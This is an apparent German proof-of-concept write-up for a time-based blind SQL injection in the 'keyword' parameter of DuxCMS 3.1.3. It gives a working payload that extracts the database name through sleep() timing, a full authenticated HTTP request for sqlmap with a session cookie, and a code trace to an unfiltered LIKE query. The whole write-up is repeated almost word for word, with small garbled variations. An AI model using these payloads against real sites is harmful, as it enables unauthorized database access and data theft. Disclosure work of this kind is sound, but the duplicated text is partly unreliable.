
Proof-of-Concept-Exploit für eine zeitbasierte Blind-SQL-Injection-Schwachstelle in DuxCMS3.1.3, die den Parameter 'keyword' mit authentifizierten Anfragen und sqlmap-Integration angreift.
Projektadresse: ****
Vorbereitung:
Im Backend anmelden – Cookie abrufen
http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=
Schwachstellenparameter: keyword
Payload: %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27
Bei erfolgreicher Injektion beträgt die Verzögerung mehr als eine Sekunde, sonst gibt es keine Verzögerung.

sqlmap-Verifikation:
Cookie erforderlich.
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1
Host: 127.0.0.1:8093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1


Der Name der aktuell verwendeten Datenbank wurde erfolgreich abgerufen. Diese Schwachstelle ist vorhanden.
Die Suche nach dem Injektionsparameter 'keyword' ermöglicht die Lokalisierung der Aufrufstelle.
app/system/admin/SystemExtendAdmin.php
Zeile 42.

Es wird 'like' für eine unscharfe Suche verwendet und $value wird nicht gefiltert, was zu einer Sicherheitslücke in der Abfrage führt.
Bei Eingabe von: and(select*from(select sleep(3))a//union//select 1)=

Wie oben dargestellt: Der Parameter $value wird aus Zeile 29 $pageParams = request(); aus der request-Anfrage abgerufen, und dann wird $pageParams[$key] in Zeile 32 mit urldecode() dekodiert, um unsere bösartige SQL-Anweisung zu erhalten. Es gibt keine Abwehrmaßnahmen.
Daher wird das Payload direkt zusammengesetzt.

Nach der Ausführung lautet die vollständige SQL-Anweisung:
(A.title like '%and(select*from(select sleep(3))a//union//select 1)=%')
Vorbereitungsarbeit:
Im Backend anmelden – Cookie abrufen.
Schwachstellenparameter: keyword
Payload: %27and(select*from(select+if(ascii(substr(database(),1,1))%3E97,sleep(1),0))a//union//select+1)=%27
Wenn die Injektion erfolgreich ist, beträgt die Verzögerung mehr als eine Sekunde, andernfalls gibt es keine Verzögerung.

sqlmap-Authentifizierung:
Cookie erforderlich.
GET http://127.0.0.1:8093/s/article/Content/index?class_id=&keyword=%27and%28select%2Afrom%28select%2Bsleep%283%29%29a%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2B1%29%3D%27 HTTP/1.1
Host: 127.0.0.1:8093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=jna2rl0d9ie3em6gb82s9odb3j
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=1


Der Name der aktuell verwendeten Datenbank wurde erfolgreich abgerufen. Diese Schwachstelle ist vorhanden.
Die Suche nach dem Injektionsparameter 'keyword' ermöglicht die Lokalisierung der Aufrufstelle.
App/system/admin/SystemExtendAdmin.php.
Zeile 42.

Es gibt eine Sicherheitslücke in der Abfrage, da 'like' für unscharfe Suche verwendet wird und $value nicht gefiltert wird.
Bei Eingabe von: and (select*from (select sleep (3)) a//union//select 1) =

Wie oben dargestellt: Der Parameter $value wird aus Zeile 29 $pageParams = request(); aus der request-Anfrage abgerufen, und dann wird $pageParams [$key] in Zeile 32 mit urldecode() dekodiert, um unsere bösartige SQL-Anweisung zu erhalten. Es gibt keine Abwehrmaßnahmen.
Daher wird das Payload direkt zusammengesetzt.

Nach der Ausführung lautet die vollständige SQL-Anweisung:
(A.title like'% and (select*from (select sleep (3)) a//union//select 1) =%')